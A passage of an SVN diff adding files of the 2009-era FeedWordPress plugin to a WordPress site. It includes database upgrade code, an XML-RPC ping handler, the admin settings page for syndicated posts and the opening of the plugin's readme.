+				if (count($syn) > 0) : // contains at least one syndicated post
+					$ret = true;
+				else : // fresh install; brand it as ours
+					update_option('feedwordpress_version', FEEDWORDPRESS_VERSION);
+				endif;
+			elseif ($fwp_db_version < 2009.0707) :
+				// We need to clear out any busted AJAX crap
+				if (fwp_test_wp_version(FWP_SCHEMA_HAS_USERMETA)) :
+					$wpdb->query("
+					DELETE FROM $wpdb->usermeta
+					WHERE LOCATE('feedwordpress', meta_key)
+					AND LOCATE('box', meta_key);
+					");
+				endif;
+				update_option('feedwordpress_version', FEEDWORDPRESS_VERSION);
+			else :
+				// No. Just brand it with the new version.
+				update_option('feedwordpress_version', FEEDWORDPRESS_VERSION);
+			endif;
+		endif;
+		return $ret;
+	}
+
+	function upgrade_database ($from = NULL) {
+		global $wpdb;
+
+		if (is_null($from) or $from <= 0.96) : $from = 0.96; endif;
+
+		switch ($from) :
+		case 0.96: // account for changes to syndication custom values and guid
+			echo "<p>Upgrading database from {$from} to ".FEEDWORDPRESS_VERSION."...</p>\n";
+
+			$cat_id = FeedWordPress::link_category_id();
+			
+			// Avoid duplicates
+			$wpdb->query("DELETE FROM `{$wpdb->postmeta}` WHERE meta_key = 'syndication_feed_id'");
+			
+			// Look up all the link IDs
+			$wpdb->query("
+			CREATE TEMPORARY TABLE tmp_custom_values
+			SELECT
+				NULL AS meta_id,
+				post_id,
+				'syndication_feed_id' AS meta_key,
+				link_id AS meta_value
+			FROM `{$wpdb->postmeta}`, `{$wpdb->links}`
+			WHERE
+				meta_key='syndication_feed'
+				AND meta_value=link_rss
+				AND link_category = {$cat_id}
+			");
+			
+			// Now attach them to their posts
+			$wpdb->query("INSERT INTO `{$wpdb->postmeta}` SELECT * FROM tmp_custom_values");
+			
+			// And clean up after ourselves.
+			$wpdb->query("DROP TABLE tmp_custom_values");
+			
+			// Now fix the guids to avoid duplicate posts
+			echo "<ul>";
+			foreach ($this->feeds as $feed) :
+				echo "<li>Fixing post meta-data for <cite>".$feed['link/name']."</cite> &#8230; "; flush();
+				$rss = @fetch_rss($feed['link/uri']);
+				if (is_array($rss->items)) :
+					foreach ($rss->items as $item) :
+						$guid = $wpdb->escape(FeedWordPress::guid($item, $feed)); // new GUID algorithm
+						$link = $wpdb->escape($item['link']);
+						
+						$wpdb->query("
+						UPDATE `{$wpdb->posts}` SET guid='{$guid}' WHERE guid='{$link}'
+						");
+					endforeach;
+				endif;
+				echo "<strong>complete.</strong></li>\n";
+			endforeach;
+			echo "</ul>\n";
+
+			// Mark the upgrade as successful.
+			update_option('feedwordpress_version', FEEDWORDPRESS_VERSION);
+		endswitch;
+		echo "<p>Upgrade complete. FeedWordPress is now ready to use again.</p>";
+	} /* FeedWordPress::upgrade_database() */
+
+	function create_guid_index () {
+		global $wpdb;
+		
+		$wpdb->query("
+		CREATE INDEX {$wpdb->posts}_guid_idx ON {$wpdb->posts}(guid)
+		");
+	} /* FeedWordPress::create_guid_index () */
+	
+	function magpie_version () {
+		if (!defined('MAGPIE_VERSION')) : $magpie_version = $GLOBALS['wp_version'].'-default';
+		else : $magpie_version = MAGPIE_VERSION;
+		endif;
+		return $magpie_version;
+	}
+
+	# Utility functions for handling text settings
+	function negative ($f, $setting) {
+		$nego = array ('n', 'no', 'f', 'false');
+		return (isset($f[$setting]) and in_array(strtolower($f[$setting]), $nego));
+	}
+
+	function affirmative ($f, $setting) {
+		$affirmo = array ('y', 'yes', 't', 'true', 1);
+		return (isset($f[$setting]) and in_array(strtolower($f[$setting]), $affirmo));
+	}
+
+
+	# Internal debugging functions
+	function critical_bug ($varname, $var, $line) {
+		global $wp_version;
+
+		if (defined('MAGPIE_VERSION')) : $mv = MAGPIE_VERSION;
+		else : $mv = 'WordPress '.$wp_version.' default.';
+		endif;
+
+		echo '<p>There may be a bug in FeedWordPress. Please <a href="'.FEEDWORDPRESS_AUTHOR_CONTACT.'">contact the author</a> and paste the following information into your e-mail:</p>';
+		echo "\n<plaintext>";
+		echo "Triggered at line # ".$line."\n";
+		echo "FeedWordPress version: ".FEEDWORDPRESS_VERSION."\n";
+		echo "MagpieRSS version: {$mv}\n";
+		echo "WordPress version: {$wp_version}\n";
+		echo "PHP version: ".phpversion()."\n";
+		echo "\n";
+		echo $varname.": "; var_dump($var); echo "\n";
+		die;
+	}
+	
+	function noncritical_bug ($varname, $var, $line) {
+		if (FEEDWORDPRESS_DEBUG) : // halt only when we are doing debugging
+			FeedWordPress::critical_bug($varname, $var, $line);
+		endif;
+	}
+} // class FeedWordPress
+
+require_once(dirname(__FILE__) . '/syndicatedpost.class.php');
+require_once(dirname(__FILE__) . '/syndicatedlink.class.php');
+
+################################################################################
+## XML-RPC HOOKS: accept XML-RPC update pings from Contributors ################
+################################################################################
+
+function feedwordpress_xmlrpc_hook ($args = array ()) {
+	$args['weblogUpdates.ping'] = 'feedwordpress_pong';
+	return $args;
+}
+
+function feedwordpress_pong ($args) {
+	$feedwordpress =& new FeedWordPress;
+	$delta = @$feedwordpress->update($args[1]);
+	if (is_null($delta)):
+		return array('flerror' => true, 'message' => "Sorry. I don't syndicate <$args[1]>.");
+	else:
+		$mesg = array();
+		if (isset($delta['new'])) { $mesg[] = ' '.$delta['new'].' new posts were syndicated'; }
+		if (isset($delta['updated'])) { $mesg[] = ' '.$delta['updated'].' existing posts were updated'; }
+
+		return array('flerror' => false, 'message' => "Thanks for the ping.".implode(' and', $mesg));
+	endif;
+}
+
+# The upgraded MagpieRSS also uses this class. So if we have it loaded
+# in, don't load it again.
+if (!class_exists('Relative_URI')) {
+	require_once(dirname(__FILE__) . '/relative_uri.class.php');
+}
+
+// take your best guess at the realname and e-mail, given a string
+define('FWP_REGEX_EMAIL_ADDY', '([^@"(<\s]+@[^"@(<\s]+\.[^"@(<\s]+)');
+define('FWP_REGEX_EMAIL_NAME', '("([^"]*)"|([^"<(]+\S))');
+define('FWP_REGEX_EMAIL_POSTFIX_NAME', '/^\s*'.FWP_REGEX_EMAIL_ADDY."\s+\(".FWP_REGEX_EMAIL_NAME.'\)\s*$/');
+define('FWP_REGEX_EMAIL_PREFIX_NAME', '/^\s*'.FWP_REGEX_EMAIL_NAME.'\s*<'.FWP_REGEX_EMAIL_ADDY.'>\s*$/');
+define('FWP_REGEX_EMAIL_JUST_ADDY', '/^\s*'.FWP_REGEX_EMAIL_ADDY.'\s*$/');
+define('FWP_REGEX_EMAIL_JUST_NAME', '/^\s*'.FWP_REGEX_EMAIL_NAME.'\s*$/');
+
+function parse_email_with_realname ($email) {
+	if (preg_match(FWP_REGEX_EMAIL_POSTFIX_NAME, $email, $matches)) :
+		($ret['name'] = $matches[3]) or ($ret['name'] = $matches[2]);
+		$ret['email'] = $matches[1];
+	elseif (preg_match(FWP_REGEX_EMAIL_PREFIX_NAME, $email, $matches)) :
+		($ret['name'] = $matches[2]) or ($ret['name'] = $matches[3]);
+		$ret['email'] = $matches[4];
+	elseif (preg_match(FWP_REGEX_EMAIL_JUST_ADDY, $email, $matches)) :
+		$ret['name'] = NULL; $ret['email'] = $matches[1];
+	elseif (preg_match(FWP_REGEX_EMAIL_JUST_NAME, $email, $matches)) :
+		$ret['email'] = NULL;
+		($ret['name'] = $matches[2]) or ($ret['name'] = $matches[3]);
+	else :
+		$ret['name'] = NULL; $ret['email'] = NULL;
+	endif;
+	return $ret;
+}
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/feedwordpress/feedwordpresshtml.class.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/feedwordpress/feedwordpresshtml.class.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/feedwordpress/feedwordpresshtml.class.php	(revision 44)
@@ -0,0 +1,35 @@
+<?php 
+class FeedWordPressHTML {
+	function attributeRegex ($tag, $attr) {
+		return ":(
+		(<($tag)\s+[^>]*)
+		($attr)=
+		)
+		(
+			\s*(\"|')
+			(((?!\\6).)*)
+			\\6([^>]*>)
+		|
+			\s*(((?!/>)[^\s>])*)
+			([^>]*>)
+		)
+		:ix";
+	} /* function FeedWordPressHTML::attributeRegex () */
+
+	function attributeMatch ($matches) {
+		$suffix = (isset($matches[12]) ? $matches[12] : $matches[9]);
+		$value = (isset($matches[10]) ? $matches[10] : $matches[7]);
+
+		return array(
+		"tag" => $matches[3],
+		"attribute" => $matches[4],
+		"value" => $value,
+		"quote" => $matches[6],
+		"prefix" => $matches[1].$matches[6],
+		"suffix" => $matches[6].$suffix,
+		"before_attribute" => $matches[2],
+		"after_attribute" => $suffix,
+		);
+	} /* function FeedWordPressHTML::attributeMatch () */
+} /* class FeedWordPressHTML */
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/feedwordpress/magpiemocklink.class.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/feedwordpress/magpiemocklink.class.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/feedwordpress/magpiemocklink.class.php	(revision 44)
@@ -0,0 +1,33 @@
+<?php
+require_once(dirname(__FILE__) . '/syndicatedlink.class.php');
+
+class MagpieMockLink extends SyndicatedLink {
+	var $url;
+
+	function MagpieMockLink ($rss, $url) {
+		$this->link = $rss;
+		$this->magpie = $rss;
+		$this->url = $url;
+		$this->id = -1;
+		$this->settings = array(
+			'unfamiliar category' => 'default',
+			
+		);
+	} /* function MagpieMockLink::MagpieMockLink () */
+
+	function poll ($crash_ts = NULL) {
+		// Do nothing but update copy of feed
+		$this->magpie = fetch_rss($this->url);
+		$this->link = $this->magpie;
+	} /* function MagpieMockLink::poll () */
+
+	function uri () {
+		return $this->url;
+	} /* function MagpieMockLink::uri() */
+
+	function homepage () {
+		return (is_object($this->magpie) ? $this->magpie->channel['link'] : null);
+	} /* function MagpieMockLink::homepage () */
+} /* class MagpieMockLink */
+
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/feedwordpress/posts-page.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/feedwordpress/posts-page.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/feedwordpress/posts-page.php	(revision 44)
@@ -0,0 +1,443 @@
+<?php
+require_once(dirname(__FILE__) . '/admin-ui.php');
+
+function fwp_posts_page () {
+	global $wpdb, $wp_db_version;
+
+	FeedWordPressCompatibility::validate_http_request(/*action=*/ 'feedwordpress_posts_settings', /*capability=*/ 'manage_links');
+
+	if (isset($GLOBALS['fwp_post']['save']) or isset($GLOBALS['fwp_post']['fix_mismatch'])) :
+		$link_id = $_REQUEST['save_link_id'];
+	elseif (isset($_REQUEST['link_id'])) :
+		$link_id = $_REQUEST['link_id'];
+	else :
+		$link_id = NULL;
+	endif;
+
+	if (is_numeric($link_id) and $link_id) :
+		$link =& new SyndicatedLink($link_id);
+	else :
+		$link = NULL;
+	endif;
+
+	$mesg = null;
+
+	////////////////////////////////////////////////
+	// Process POST request, if any /////////////////
+	////////////////////////////////////////////////
+	if (isset($GLOBALS['fwp_post']['save'])) :
+		// custom post  settings
+		foreach ($GLOBALS['fwp_post']['notes'] as $mn) :
+			$mn['key0'] = trim($mn['key0']);
+			$mn['key1'] = trim($mn['key1']);
+
+			if (strlen($mn['key0']) > 0) :
+				unset($custom_settings[$mn['key0']]); // out with the old
+			endif;
+			
+			if (($mn['action']=='update') and (strlen($mn['key1']) > 0)) :
+				$custom_settings[$mn['key1']] = $mn['value']; // in with the new
+			endif;
+		endforeach;
+
+		if (is_object($link) and $link->found()) :
+			$alter = array ();
+
+			$link->settings['postmeta'] = serialize($custom_settings);
+
+			// Post status, comment status, ping status
+			foreach (array('post', 'comment', 'ping') as $what) :
+				$sfield = "feed_{$what}_status";
+				if (isset($GLOBALS['fwp_post'][$sfield])) :
+					if ($GLOBALS['fwp_post'][$sfield]=='site-default') :
+						unset($link->settings["{$what} status"]);
+					else :
+						$link->settings["{$what} status"] = $GLOBALS['fwp_post'][$sfield];
+					endif;
+				endif;
+			endforeach;
+			
+			$alter[] = "link_notes = '".$wpdb->escape($link->settings_to_notes())."'";
+
+			$alter_set = implode(", ", $alter);
+
+			// issue update query
+			$result = $wpdb->query("
+			UPDATE $wpdb->links
+			SET $alter_set
+			WHERE link_id='$link_id'
+			");
+			$updated_link = true;
+
+			// reload link information from DB
+			if (function_exists('clean_bookmark_cache')) :
+				clean_bookmark_cache($link_id);
+			endif;
+			$link =& new SyndicatedLink($link_id);
+		else :
+			// update_option ...
+			if (isset($GLOBALS['fwp_post']['feed_post_status'])) :
+				update_option('feedwordpress_syndicated_post_status', $GLOBALS['fwp_post']['feed_post_status']);
+			endif;
+			
+			update_option('feedwordpress_custom_settings', serialize($custom_settings));
+
+			update_option('feedwordpress_munge_permalink', $_REQUEST['munge_permalink']);
+			update_option('feedwordpress_use_aggregator_source_data', $_REQUEST['use_aggregator_source_data']);
+			update_option('feedwordpress_formatting_filters', $_REQUEST['formatting_filters']);
+
+			if (isset($_REQUEST['feed_comment_status']) and ($_REQUEST['feed_comment_status'] == 'open')) :
+				update_option('feedwordpress_syndicated_comment_status', 'open');
+			else :
+				update_option('feedwordpress_syndicated_comment_status', 'closed');
+			endif;
+	
+			if (isset($_REQUEST['feed_ping_status']) and ($_REQUEST['feed_ping_status'] == 'open')) :
+				update_option('feedwordpress_syndicated_ping_status', 'open');
+			else :
+				update_option('feedwordpress_syndicated_ping_status', 'closed');
+			endif;
+	
+			$updated_link = true;
+		endif;
+	else :
+		$updated_link = false;
+	endif;
+
+	////////////////////////////////////////////////
+	// Get defaults from database //////////////////
+	////////////////////////////////////////////////
+
+	$post_status_global = get_option('feedwordpress_syndicated_post_status');
+	if (!$post_status_global) : $post_status_global = 'publish'; endif;
+	
+	$comment_status_global = get_option('feedwordpress_syndicated_comment_status');
+	if (!$comment_status_global) : $comment_status_global = 'closed'; endif;
+
+	$ping_status_global = get_option('feedwordpress_syndicated_ping_status');
+	if (!$ping_status_global) : $ping_status_global = 'closed'; endif;
+
+	$status['post'] = array('publish' => '', 'private' => '', 'draft' => '');
+	if (SyndicatedPost::use_api('post_status_pending')) :
+		$status['post']['pending'] = '';
+	endif;
+
+	$status['comment'] = array('open' => '', 'closed' => '');
+	$status['ping'] = array('open' => '', 'closed' => '');
+
+	if (is_object($link) and $link->found()) :
+		$thePostsPhrase = __('posts from this feed');
+
+		foreach (array('post', 'comment', 'ping') as $what) :
+			$status[$what]['site-default'] = '';
+			if (isset($link->settings["{$what} status"])) :
+				$status[$what][$link->settings["{$what} status"]] = ' checked="checked"';
+			else :
+				$status[$what]['site-default'] = ' checked="checked"';
+			endif;
+		endforeach;
+		
+		$custom_settings = $link->settings["postmeta"];
+		if ($custom_settings) :
+			$custom_settings = unserialize($custom_settings);
+		endif;
+		
+		if (!is_array($custom_settings)) :
+			$custom_settings = array();
+		endif;
+	else :
+		$thePostsPhrase = __('syndicated posts');
+
+		$status['post'][$post_status_global] = ' checked="checked"';
+		$status['comment'][$comment_status_global] = ' checked="checked"';
+		$status['ping'][$ping_status_global] = ' checked="checked"';
+
+		$munge_permalink = get_option('feedwordpress_munge_permalink');
+		$formatting_filters = get_option('feedwordpress_formatting_filters');
+		$use_aggregator_source_data = get_option('feedwordpress_use_aggregator_source_data');
+
+		$custom_settings = get_option('feedwordpress_custom_settings');
+		if ($custom_settings) :
+			$custom_settings = unserialize($custom_settings);
+		endif;
+
+		if (!is_array($custom_settings)) :
+			$custom_settings = array();
+		endif;
+	endif;
+?>
+<script type="text/javascript">
+	function contextual_appearance (item, appear, disappear, value, visibleStyle, checkbox) {
+		if (typeof(visibleStyle)=='undefined') visibleStyle = 'block';
+
+		var rollup=document.getElementById(item);
+		var newuser=document.getElementById(appear);
+		var sitewide=document.getElementById(disappear);
+		if (rollup) {
+			if ((checkbox && rollup.checked) || (!checkbox && value==rollup.value)) {
+				if (newuser) newuser.style.display=visibleStyle;
+				if (sitewide) sitewide.style.display='none';
+			} else {
+				if (newuser) newuser.style.display='none';
+				if (sitewide) sitewide.style.display=visibleStyle;
+			}
+		}
+	}
+</script>
+
+<?php if ($updated_link) : ?>
+<div class="updated"><p>Syndicated posts settings updated.</p></div>
+<?php elseif (!is_null($mesg)) : ?>
+<div class="updated"><p><?php print wp_specialchars($mesg, 1); ?></p></div>
+<?php endif; ?>
+
+<div class="wrap">
+<form style="position: relative" action="admin.php?page=<?php print $GLOBALS['fwp_path'] ?>/<?php echo basename(__FILE__); ?>" method="post">
+<div><?php
+	FeedWordPressCompatibility::stamp_nonce('feedwordpress_posts_settings');
+
+	if (is_numeric($link_id) and $link_id) :
+?>
+<input type="hidden" name="save_link_id" value="<?php echo $link_id; ?>" />
+<?php
+	else :
+?>
+<input type="hidden" name="save_link_id" value="*" />
+<?php
+	endif;
+?>
+</div>
+
+<?php $links = FeedWordPress::syndicated_links(); ?>
+<?php if (fwp_test_wp_version(FWP_SCHEMA_27)) : ?>
+	<div class="icon32"><img src="<?php print htmlspecialchars(WP_PLUGIN_URL.'/'.$GLOBALS['fwp_path'].'/feedwordpress.png'); ?>" alt="" /></div>
+<?php endif; ?>
+
+<h2>Syndicated Post Settings<?php if (!is_null($link) and $link->found()) : ?>: <?php echo wp_specialchars($link->link->link_name, 1); ?><?php endif; ?></h2>
+
+<style type="text/css">
+	table.edit-form th { width: 27%; vertical-align: top; }
+	table.edit-form td { width: 73%; vertical-align: top; }
+	table.edit-form td ul.options { margin: 0; padding: 0; list-style: none; }
+</style>
+
+<?php if (fwp_test_wp_version(FWP_SCHEMA_27)) : ?>
+	<style type="text/css">	
+	#post-search {
+		float: right;
+		margin:11px 12px 0;
+		min-width: 130px;
+		position:relative;
+	}
+	.fwpfs {
+		color: #dddddd;
+		background:#797979 url(<?php bloginfo('home') ?>/wp-admin/images/fav.png) repeat-x scroll left center;
+		border-color:#777777 #777777 #666666 !important; -moz-border-radius-bottomleft:12px;
+		-moz-border-radius-bottomright:12px;
+		-moz-border-radius-topleft:12px;
+		-moz-border-radius-topright:12px;
+		border-style:solid;
+		border-width:1px;
+		line-height:15px;
+		padding:3px 30px 4px 12px;
+	}
+	.fwpfs.slide-down {
+		border-bottom-color: #626262;
+		-moz-border-radius-bottomleft:0;
+		-moz-border-radius-bottomright:0;
+		-moz-border-radius-topleft:12px;
+		-moz-border-radius-topright:12px;
+		background-image:url(<?php bloginfo('home') ?>/wp-admin/images/fav-top.png);
+		background-position:0 top;
+		background-repeat:repeat-x;
+		border-bottom-style:solid;
+		border-bottom-width:1px;
+	}
+	</style>
+	
+	<script type="text/javascript">
+		jQuery(document).ready(function($){
+			$('.fwpfs').toggle(
+				function(){$('.fwpfs').removeClass('slideUp').addClass('slideDown'); setTimeout(function(){if ( $('.fwpfs').hasClass('slideDown') ) { $('.fwpfs').addClass('slide-down'); }}, 10) },
+				function(){$('.fwpfs').removeClass('slideDown').addClass('slideUp'); setTimeout(function(){if ( $('.fwpfs').hasClass('slideUp') ) { $('.fwpfs').removeClass('slide-down'); }}, 10) }
+			);
+			$('.fwpfs').bind(
+				'change',
+				function () { this.form.submit(); }
+			);
+			$('#post-search .button').css( 'display', 'none' );
+		});
+	</script>
+<?php endif; /* else : */?>
+<p id="post-search">
+<select name="link_id" class="fwpfs" style="max-width: 20.0em;">
+  <option value="*"<?php if (is_null($link) or !$link->found()) : ?> selected="selected"<?php endif; ?>>- defaults for all feeds -</option>
+<?php if ($links) : foreach ($links as $ddlink) : ?>
+  <option value="<?php print (int) $ddlink->link_id; ?>"<?php if (!is_null($link) and ($link->link->link_id==$ddlink->link_id)) : ?> selected="selected"<?php endif; ?>><?php print wp_specialchars($ddlink->link_name, 1); ?></option>
+<?php endforeach; endif; ?>
+</select>
+<input class="button" type="submit" name="go" value="<?php _e('Go') ?> &raquo;" />
+</p>
+<?php /* endif; */ ?>
+
+<?php if (!is_null($link) and $link->found()) : ?>
+	<p>These settings only affect posts syndicated from
+	<strong><?php echo wp_specialchars($link->link->link_name, 1); ?></strong>.</p>
+<?php else : ?>
+	<p>These settings affect posts syndicated from any feed unless they are overridden
+	by settings for that specific feed.</p>
+<?php endif; ?>
+
+<div id="poststuff">
+<div id="post-body">
+<?php fwp_option_box_opener('Publication', 'publicationdiv', 'postbox'); ?>
+<table class="form-table" cellspacing="2" cellpadding="5">
+<tr><th width="27%" scope="row" style="vertical-align:top">Status for new posts:</th>
+<td width="73%" style="vertical-align:top"><ul style="margin:0; list-style:none">
+
+<?php if (is_object($link) and $link->found()) : ?>
+<li><label><input type="radio" name="feed_post_status" value="site-default"
+<?php echo $status['post']['site-default']; ?> /> Use <a href="admin.php?page=<?php print $GLOBALS['fwp_path'] ?>/<?php print basename(__FILE__); ?>">site-wide setting</a>
+(currently: <strong><?php echo ($post_status_global ? $post_status_global : 'publish'); ?></strong>)</label></li>
+<?php endif; ?>
+
+<li><label><input type="radio" name="feed_post_status" value="publish"
+<?php echo $status['post']['publish']; ?> /> Publish <?php print $thePostsPhrase; ?> immediately</label></li>
+
+<?php if (SyndicatedPost::use_api('post_status_pending')) : ?>
+<li><label><input type="radio" name="feed_post_status" value="pending"
+<?php echo $status['post']['pending']; ?>/> Hold <?php print $thePostsPhrase; ?> for review; mark as Pending</label></li>
+<?php endif; ?>
+
+<li><label><input type="radio" name="feed_post_status" value="draft"
+<?php echo $status['post']['draft']; ?> /> Save <?php print $thePostsPhrase; ?> as drafts</label></li>
+<li><label><input type="radio" name="feed_post_status" value="private"
+<?php echo $status['post']['private']; ?> /> Save <?php print $thePostsPhrase; ?> as private posts</label></li>
+</ul></td>
+</tr>
+</table>
+<?php
+	fwp_option_box_closer();
+?>
+
+<?php if (!(is_object($link) and $link->found())) : ?>
+<?php fwp_option_box_opener('Formatting', 'formattingdiv', 'postbox'); ?>
+<table class="form-table" cellspacing="2" cellpadding="5">
+<tr><th scope="row">Formatting filters:</th>
+<td><select name="formatting_filters" size="1">
+<option value="no"<?php echo ($formatting_filters!='yes')?' selected="selected"':''; ?>>Protect syndicated posts from formatting filters</option>
+<option value="yes"<?php echo ($formatting_filters=='yes')?' selected="selected"':''; ?>>Expose syndicated posts to formatting filters</option>
+</select>
+<p class="setting-description">If you have trouble getting plugins to work that are supposed to insert
+elements after posts (like relevant links or a social networking
+<q>Share This</q> button), try changing this option to see if it fixes your
+problem.</p>
+</td></tr>
+</table>
+<?php	fwp_option_box_closer(); ?>
+
+<?php
+	fwp_option_box_opener('Links', 'linksdiv', 'postbox');
+?>
+<table class="form-table" cellspacing="2" cellpadding="5">
+<tr><th  scope="row">Permalinks:</th>
+<td><select name="munge_permalink" size="1">
+<option value="yes"<?php echo ($munge_permalink=='yes')?' selected="selected"':''; ?>>point to the copy on the original website</option>
+<option value="no"<?php echo ($munge_permalink=='no')?' selected="selected"':''; ?>>point to the local copy on this website</option>
+</select></td>
+</tr>
+
+<tr><th scope="row">Posts from aggregator feeds:</th>
+<td><ul class="options">
+<li><label><input type="radio" name="use_aggregator_source_data" value="no"<?php echo ($use_aggregator_source_data!="yes")?' checked="checked"':''; ?>> Give the aggregator itself as the source of posts from an aggregator feed.</label></li>
+<li><label><input type="radio" name="use_aggregator_source_data" value="yes"<?php echo ($use_aggregator_source_data=="yes")?' checked="checked"':''; ?>> Give the original source of the post as the source, not the aggregator.</label></li>
+</ul>
+<p class="setting-description">Some feeds (for example, those produced by FeedWordPress) aggregate content from several different sources, and include information about the original source of the post.
+This setting controls what FeedWordPress will give as the source of posts from
+such an aggregator feed.</p>
+</td></tr>
+</table>
+<?php
+	fwp_option_box_closer();
+	fwp_linkedit_periodic_submit();
+endif;
+
+	fwp_option_box_opener(__('Comments & Pings'), 'commentstatus', 'postbox');
+?>
+<table class="form-table" cellspacing="2" cellpadding="5">
+<tr><th scope="row"><?php print __('Comments') ?>:</th>
+<td><ul class="options">
+<?php if (is_object($link) and $link->found()) : ?>
+<li><label><input type="radio" name="feed_comment_status" value="site-default"
+<?php echo $status['comment']['site-default']; ?> /> Use <a href="admin.php?page=<?php print $GLOBALS['fwp_path'] ?>/<?php print basename(__FILE__); ?>">site-wide setting</a>
+(currently: <strong><?php echo $comment_status_global; ?></strong>)</label></li>
+<?php endif; ?>
+
+<li><label><input type="radio" name="feed_comment_status" value="open"<?php echo $status['comment']['open'] ?> /> Allow comments on syndicated posts</label></li>
+<li><label><input type="radio" name="feed_comment_status" value="closed"<?php echo $status['comment']['closed']; ?> /> Don't allow comments on syndicated posts</label></li>
+</ul></td></tr>
+
+<tr><th scope="row"><?php print __('Pings') ?>:</th>
+<td><ul class="options">
+<?php if (is_object($link) and $link->found()) : ?>
+<li><label><input type="radio" name="feed_ping_status" value="site-default"
+<?php echo $status['ping']['site-default']; ?> /> Use <a href="admin.php?page=<?php print $GLOBALS['fwp_path'] ?>/<?php print basename(__FILE__); ?>">site-wide setting</a>
+(currently: <strong><?php echo $ping_status_global; ?></strong>)</label></li>
+<?php endif; ?>
+
+<li><label><input type="radio" name="feed_ping_status" value="open"<?php echo $status['ping']['open']; ?> /> Accept pings on syndicated posts</label></li>
+<li><label><input type="radio" name="feed_ping_status" value="closed"<?php echo $status['ping']['closed']; ?> /> Don't accept pings on syndicated posts</label></li>
+</ul></td></tr>
+</table>
+<?php
+	fwp_option_box_closer();
+	fwp_linkedit_periodic_submit();
+?>
+
+<?php fwp_option_box_opener('Custom Post Settings (to apply to each syndicated post)', 'postcustom', 'postbox'); ?>
+<div id="postcustomstuff">
+<table id="meta-list" cellpadding="3">
+	<tr>
+	<th>Key</th>
+	<th>Value</th>
+	<th>Action</th>
+	</tr>
+
+<?php
+	$i = 0;
+	foreach ($custom_settings as $key => $value) :
+?>
+		<tr style="vertical-align:top">
+		<th width="30%" scope="row"><input type="hidden" name="notes[<?php echo $i; ?>][key0]" value="<?php echo wp_specialchars($key, 'both'); ?>" />
+		<input id="notes-<?php echo $i; ?>-key" name="notes[<?php echo $i; ?>][key1]" value="<?php echo wp_specialchars($key, 'both'); ?>" /></th>
+		<td width="60%"><textarea rows="2" cols="40" id="notes-<?php echo $i; ?>-value" name="notes[<?php echo $i; ?>][value]"><?php echo wp_specialchars($value, 'both'); ?></textarea></td>
+		<td width="10%"><select name="notes[<?php echo $i; ?>][action]">
+		<option value="update">save changes</option>
+		<option value="delete">delete this setting</option>
+		</select></td>
+		</tr>
+<?php
+		$i++;
+	endforeach;
+?>
+	<tr>
+	<th scope="row"><input type="text" size="10" name="notes[<?php echo $i; ?>][key1]" value="" /></th>
+	<td><textarea name="notes[<?php echo $i; ?>][value]" rows="2" cols="40"></textarea></td>
+	<td><em>add new setting...</em><input type="hidden" name="notes[<?php echo $i; ?>][action]" value="update" /></td>
+	</tr>
+</table>
+<?php fwp_option_box_closer(); ?>
+
+</div>
+</div>
+
+<p class="submit">
+<input class="button-primary" type="submit" name="save" value="Save Changes" />
+</p>
+</form>
+</div> <!-- class="wrap" -->
+<?php
+} /* function fwp_posts_page () */
+
+	fwp_posts_page();
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/feedwordpress/readme.txt
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/feedwordpress/readme.txt	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/feedwordpress/readme.txt	(revision 44)
@@ -0,0 +1,159 @@
+=== FeedWordPress ===
+Contributors: Charles Johnson
+Donate link: http://projects.radgeek.com/feedwordpress/
+Tags: syndication, aggregation, feed, atom, rss
+Requires at least: 1.5
+Tested up to: 2.8.1
+Stable tag: 2009.0707
+
+FeedWordPress syndicates content from feeds you choose into your WordPress weblog. 
+
+== Description ==
+
+* Author: [Charles Johnson](http://radgeek.com/contact)
+* Project URI: <http://projects.radgeek.com/feedwordpress>
+* License: GPL 2. See License below for copyright jots and tittles.
+
+FeedWordPress is an Atom/RSS aggregator for WordPress. It syndicates content
+from feeds that you choose into your WordPress weblog; if you syndicate several
+feeds then you can use WordPress's posts database and templating engine as the
+back-end of an aggregation ("planet") website. It was developed, originally,
+because I needed a more flexible replacement for [Planet](http://www.planetplanet.org/)
+to use at [Feminist Blogs](http://feministblogs.org/).
+
+FeedWordPress is designed with flexibility, ease of use, and ease of
+configuration in mind. You'll need a working installation of WordPress or
+WordPress MU (versions [2.8][], [2.7][], [2.6][], [2.5][], [2.3][], [2.2][],
+[2.1][], [2.0][] or [1.5][]), and also FTP or SFTP access to your web host. The
+ability to create cron jobs on your web host is helpful but not absolutely
+necessary. You *don't* need to tweak any plain-text configuration files and you
+*don't* need shell access to your web host to make it work. (Although, I should
+point out, web hosts that *don't* offer shell access are *bad web hosts*.)
+
+  [2.8]: http://codex.wordpress.org/Version_2.8
+  [2.7]: http://codex.wordpress.org/Version_2.7
+  [2.6]: http://codex.wordpress.org/Version_2.6
+  [2.5]: http://codex.wordpress.org/Version_2.5
+  [2.3]: http://codex.wordpress.org/Version_2.3
+  [2.2]: http://codex.wordpress.org/Version_2.2
+  [2.1]: http://codex.wordpress.org/Version_2.1
+  [2.0]: http://codex.wordpress.org/Version_2.0
+  [1.5]: http://codex.wordpress.org/Version_1.5
+
+== Installation ==
+
+To use FeedWordPress, you will need:
+
+* 	an installed and configured copy of WordPress version 2.x, or 1.5.x.
+	(FeedWordPress will also work with the equivalent versions of WordPress
+	MU.)
+
+*	FTP or SFTP access to your web host
+
+= New Installations =
+
+1.	Download the FeedWordPress archive and extract the files on your computer. 
+
+2.	Create a new directory named `feedwordpress` in the `wp-content/plugins`
+	directory of your WordPress installation. Use an FTP or SFTP client to
+	upload the contents of your FeedWordPress archive to the new directory
+	that you just created on your web host.
+
+3.	Upgrade the copy of MagpieRSS packaged with WordPress by installing the
+	new copies of `rss.php` and `rss-functions.php` into the `wp-includes`
+	directory of your FeedWordPress installation. These files are stored in
+	the `MagpieRSS-upgrade` directory of your FeedWordPress	archive. Strictly
